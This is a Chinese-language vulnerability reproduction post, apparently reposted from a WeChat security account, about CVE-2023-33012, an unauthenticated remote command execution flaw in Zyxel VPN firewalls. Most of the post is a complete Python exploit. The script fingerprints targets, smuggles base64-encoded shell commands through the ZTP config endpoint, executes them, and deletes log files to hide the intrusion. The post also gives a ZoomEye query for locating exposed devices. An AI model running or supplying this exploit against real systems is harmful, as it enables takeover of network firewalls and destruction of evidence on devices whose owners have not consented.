【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】

admin 2024年4月3日01:02:21评论45 views字数 4342阅读14分28秒阅读模式
【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】
【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】

漏洞简介

   Zyxel 多款 VPN 防火墙存在远程命令执行漏洞,攻击者可利用该漏洞获取服务器控制权限

    影响版本:

VPN50, VPN100, VPN300, VPN500, VPN1000 版本为 5.21 至 5.36

 

【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】
【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】

指纹识别

Zoomeye: app:"ZYXEL"

【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】

 

 

 

 

 

 

【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】
【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】

漏洞验证

【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】

查看ZYXEL版本

在/ext-js/app/common/zld_product_spec.js这个路径

【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】

poc:

#!/usr/bin/python3
import argparse
import base64
import random
import requests

# ignore ssl certification
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

DEBUG = False  # True


class Exploit:
    def __init__(self, args, https=True):
        self.args = args
        self.host = args.host
        self.command = args.command
        self.session = requests.Session()
        self.session.verify = False
        self.root = f"http://{self.host}:{self.args.port}/"

        if https:
            self.root = f"https://{self.host}:{self.args.port}/"

    def req_post(self, path, data={}, files={}):
        url = f"{self.root}{path}"
        result = self.session.post(url, data=data, files=files)

        if DEBUG:
            print(f"[*] req: {url}")
            print(data)
            print(result.text)

        return result

    def req_get(self, path, params={}):
        url = f"{self.root}{path}"
        result = self.session.get(url, params=params)

        if DEBUG:
            print(f"[*] req: {url}")
            print(params)
            print(result.text)

        return result

    def fingerprint(self):
        print("[+] fingerprint")

        version = ""
        title = ""
        # version_string = "/ext-js/app/common/zld_product_spec.js"

        r = self.req_get("/ext-js/app/common/zld_product_spec.js")

        if "ZLDSYSPARM_PRODUCT_NAME1=" in r.text:
            title = r.text.split('ZLDSYSPARM_PRODUCT_NAME1="')[1].split('"')[0]
        if "ZLDCONFIG_CLOUD_HELP_VERSION=" in r.text:
            version = r.text.split("ZLDCONFIG_CLOUD_HELP_VERSION=")[1].split(";")[0]

        print(f"    title   = {title}")
        print(f"    version = {version}")
        return (title, version)

    def fingerprint2(self):
        print("[+] fingerprint")

        version = ""
        title = ""
        version_string = "/ext-js/app/common/zld_product_spec.js"

        r = self.req_get("/")

        if version_string in r.text:
            version = r.text.split(version_string)[1].split('"')[0]
        if "<title>" in r.text:
            title = r.text.split("<title>")[1].split("</title>")[0]

        print(f"    title   = {title}")
        print(f"    version = {version}")
        return (title, version)

    def run(self):
        command = args.command
        if type(command) == str:
            command = command.encode()
        command += (
            b" 2>/var/log/ztplog 1>/var/log/ztplog\n"
            b"((sleep 10 && /bin/rm -rf /tmp/1.qsr /share/ztp/* "
            b"/var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &)\n"
        )
        command = base64.b64encode(command)
        command = b"echo " + command + b" | base64 -d > /tmp/1.qsr ; . /tmp/1.qsr"

        title, version = self.fingerprint()

        if not title.startswith("VPN") or version == "" or float(version) < 5.10:
            print("[-] invulnerable target")
            return

        if "ZTP is already enabled." in title:
            print("[!] ZTP is already enabled")
            print("    ZTP configuration will be clear if you continue")
            yes = input('    ENTER "YES" if you want continue: ').strip()
            if yes != "YES":
                return

        print("[+] payload transfer")
        payload = b"option proto vti\n"
        payload += b"option " + command + b";exit\n"
        payload += b"option name 1\n"

        config = base64.b64encode(payload)
        data = {"config": config, "fqdn": "\x00"}

        r = self.req_post("/ztp/cgi-bin/parse_config.py", data=data)
        if "ParseError: 0xC0DE0005" in r.text:
            print("[-] invulnerable")
            return
        print("    complete")

        print("[+] code execution")

        localip = (
            f"{random.randint(1,255)}.{random.randint(1,255)}."
            f"{random.randint(1,255)}.{random.randint(1,255)}".encode()
        )
        remoteip = (
            f"{random.randint(1,255)}.{random.randint(1,255)}."
            f"{random.randint(1,255)}.{random.randint(1,255)}".encode()
        )

        payload = b"option proto gre\n"
        payload += b"option name 0\n"
        payload += b"option ipaddr ;. /tmp/1.qsr;\n"
        payload += b"option netmask 24\n"
        payload += b"option gateway 0\n"
        payload += b"option localip " + localip + b"\n"
        payload += b"option remoteip " + remoteip + b"\n"
        config = base64.b64encode(payload)
        data = {"config": config, "fqdn": "\x00"}

        r = self.req_post("/ztp/cgi-bin/parse_config.py", data=data)
        if "ParseError: 0xC0DE0005" in r.text:
            print("[-] invulnerable")
            return
        print("    complete")

        print("[+] receive output")
        r = self.req_get("/ztp/cgi-bin/dumpztplog.py")
        print(
            r.text.split("</head>\n<body>")[1]
            .split("</body>\n</html>")[0]
            .replace("\n\n<br>", "")
            .replace("[IPC]IPC result: 1\n", "")
        )

        return


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit")
    parser.add_argument("host", type=str, help="target host")
    parser.add_argument("--port", type=str, help="port", default="443")
    parser.add_argument("command", type=str, help="command")
    parser.add_argument("--no-https", dest="no_https", action="store_true")

    args = parser.parse_args()
    https = not args.no_https

    s = Exploit(args, https=https)
    s.run()

发送POC:

【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】

【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】

【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】
【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】

漏洞收录

漏洞已收录于团队内部漏洞库(建设于2019年),现已收集4000+实战漏洞

现仅供团队内部使用,每月随机抽取关注者加入社群交流学习。

【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】

回复关键字【POC】获取POC下载链接

点击下方名片进入公众号,欢迎关注!

【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】

点个小赞你最好看

 

原文始发于微信公众号(猫蛋儿安全):【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月3日01:02:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】https://cn-sec.com/archives/2626677.html

发表评论

匿名网友 填写信息